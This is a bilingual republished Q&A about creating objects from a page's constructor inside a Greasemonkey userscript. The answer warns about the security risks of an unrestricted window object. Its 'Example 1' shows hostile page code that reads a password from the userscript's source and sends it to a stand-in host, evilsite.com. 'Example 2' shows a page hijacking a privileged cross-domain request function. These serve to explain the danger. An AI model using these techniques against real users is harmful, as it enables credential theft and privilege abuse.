如何使用远程页面的构造函数在我的Greasemonkey UserScript中创建一个Object? [英] How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?

查看:69
本文介绍了如何使用远程页面的构造函数在我的Greasemonkey UserScript中创建一个Object?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我的用户脚本将运行的页面具有命名空间,命名空间定义了构造函数。我想使用相同的构造函数创建一个对象,并使用我的用户脚本中的对象的方法。到目前为止,我一直没有成功。这是我想要做的。

The page on which my userscript will run has a namespace, the namespace defines a constructor function. I would like to create an object using the same constructor and use methods of the object in my userscript. So far I have been unsuccessful. Here's what I am trying to do.

页面有以下原生javascript块:

The Page has the following native javascript block :

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

正在使用如下:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

在我的用户脚本中,我打算像pageObject一样创建一个对象,并用我自己的方法调用sum参数。

In My Userscript its my intention to create an object just like pageObject and call sum from that with my own parameters.

我尝试过以下操作:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

没有运气,虽然出现了greaseNameSpace,甚至greaseNameSpace.constructor也是一个有效的函数,使用了新的greaseNameSpace .constructor()产生undefined。

No Luck, appears though greaseNameSpace exist, and even greaseNameSpace.constructor is a valid function , using new greaseNameSpace.constructor() yields undefined.

也试过以下:

var greaseObject =new unsafeWindow.namespace.constructor();

再次greaseObject仍未定义。

again greaseObject remains undefined.

I在这里找到一个线程如何创建远程页面中定义的类的对象?

I found one thread here How can I create an object of a class which is defined in the remote page?

但是它使用了eval,我想知道是不是正确的方式?

But it uses eval, and I wonder if that's the right way ?

非常感谢任何和所有的帮助:)谢谢!!

Any and all help would be much appreciated :) thanks!!

推荐答案

我找到了解决问题的方法。但请谨慎使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。

I have found a method to solve the question. Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole.

下面的代码获得 window 没有 unsafeWindow 的含糊限制的对象。在窗口对象范围内执行的任何代码如果是实际页面的一部分,则会表现出来,类似于Google Chrome扩展程序中的内容脚本。

The code below obtains a window object without the ambiguous restrictions of unsafeWindow. Any code executed in the scope of this window object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions.

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)



安全注意事项




  • 包含使用此窗口对象的方法/变量的代码功能,以便不会创建危险的孔。不允许此函数包装器根据用户输入执行随机代码。

  • 请参阅示例3 以获取正确的方法来实现 $ _ WINDOW

  • Security considerations

    • Wrap the code which uses methods/variables of this window object in a function, so that no dangerous holes are created. Do not allow this function wrapper to execute random code based on user input.
    • See Example 3 for the right method to implement $_WINDOW
    • 下面,我将展示以危险的方式实现 $ _ WINDOW 对象的可能情况。很明显,GM脚本开发人员并不期望 // page 中的代码。
      注意:一些示例(例如示例2)可能对安全(本地)基于Web的应用程序有用(例如,在 file:/// 协议中)。
      示例3显示了正确的方法使用 $ _ WINDOW

      Below, I will show possible cases in which the $_WINDOW object is implemented in a dangerous way. It's obvious that the Code at the "//page" was not expected by the developer of the GM script.
      Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:/// protocol, for instance).
      Example 3 shows the right method to use $_WINDOW.

      我使用了魔法 __ defineGetter __ 函数来检测对变量的调用,因为大多数脚本开发人员都不知道这个功能。直接调用函数也会触发有害代码;

      I have used the magic __defineGetter__ function to detect calls to a variable, because most script developers do not know about this feature. Calling functions directly will also trigger the harmful code;

      主要原因在于 arguments.callee.caller 。在函数内部,该对象将引用调用当前函数的函数。使用 unsafeWindow 时,无法调用 arguments.callee.caller 变量。然后该函数将显示为函数SJOWContentBoundary {[native code]} 。但是,当使用 $ _ WINDOW 时,真正的GM功能可由远程页面看到并调用。

      The main cause is laid at arguments.callee.caller. Inside a function, this object will refer to the function which has called the current function. When unsafeWindow is used, the arguments.callee.caller variable cannot be called. The function will then be displayed as function SJOWContentBoundary{ [native code]}. However, when $_WINDOW is used, the real GM function is visible and callable by the remote page.

      示例1
      从GreaseMonkey脚本中读取(敏感)数据

      Example 1: Reading (sensible) data from a GreaseMonkey script

      //GreaseMonkey:
      var password = "password";
      alert($_WINDOW.namespace.Var); //Seemingly harmless?
      
      //Page:
      var namespace = {Var:1};
      namespace.__defineGetter__("Var", function(){
          var gm_function = arguments.callee.caller;
          var password = gm_function.toString().match(/var password = "(.*?)";\n/);
          (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
      })
      

      示例2
      泄漏跨域 XMLHttpRequest 任意页面的方法。

      此GM脚本的创建者打算根据哈希更改修改页面。但是,通过在更改URL /回调的函数中包含一个检查(是否应该影响页面),创建了一个洞。

      Example 2: Leaking a cross-domain XMLHttpRequest method to an arbitrary page.
      The creator of this GM script intended to modify the page according to a hash change. However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created.

      //GreaseMonkey:
      var base_url, callback;
      function checkExistent(url, func){
          base_url = url;
          callback = func;
          return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
      }
      var isExistent = checkExistent("http://example.com/load?h=", function(res){
          alert(res.responseText);
      });
      var lastHash = unsafeWindow.location.hash.substr(1);
      if(confirm(isExistent)){
          window.setInterval(function(){ //Create poller to detect hash changes
              var newHash = unsafeWindow.location.hash.substr(1);
              if(lastHash != newHash){
                  GM_xmlhttpRequest({method:"GET",
                                "url": base_url + newHash, onload:callback});
                  lastHash = newHash;
              }
          }, 300);
      }
      
      //Page
      var step = 0, xhr;
      window.__defineGetter__("some_var", function(){
          if(!step++){ //Define the xhr first time
              xhr = function(url, callback){
                  arguments.callee.caller(url, callback);
                    // = function checkExistent(url, callback) !!!!
                  location.hash += "."; //Edit hash to trigger XHR
              }
          }
          return step;
      });
      

      示例3
      正确使用

      应定义变量getter,以便不会发出任意请求。函数不应该接受变量。如果仍然需要,请将getter包装在一个匿名函数中。

      Example 3: Correct usage
      Variable getters should be defined such that no arbitrary requests can be made. Functions should not accept variables. If it's still necessary, wrap the getter in an anonymous function.

      //GM:
      function getUserdata(){
          //Get a string from a page. Wrap the string in a new String object,
          // to make sure that no evil properties/methods are defined
          return String($_WINDOW.variable);
      }
      
      //Method 2
      //The developer of the GM script has to define a correct wrapper for type:
      // String, Number, Boolean, ...
      function getRandomVariable(type, name){
          var variable = (function(){ //No arguments, no hazards
              return $_WINDOW[name];
          })();
          return type(variable);
      }
      getRandomVariable(String, "variable");
      
      //Page:
      var variable = "There's no way to abuse this GM bridge.";
      

      这篇关于如何使用远程页面的构造函数在我的Greasemonkey UserScript中创建一个Object?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
相关文章
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆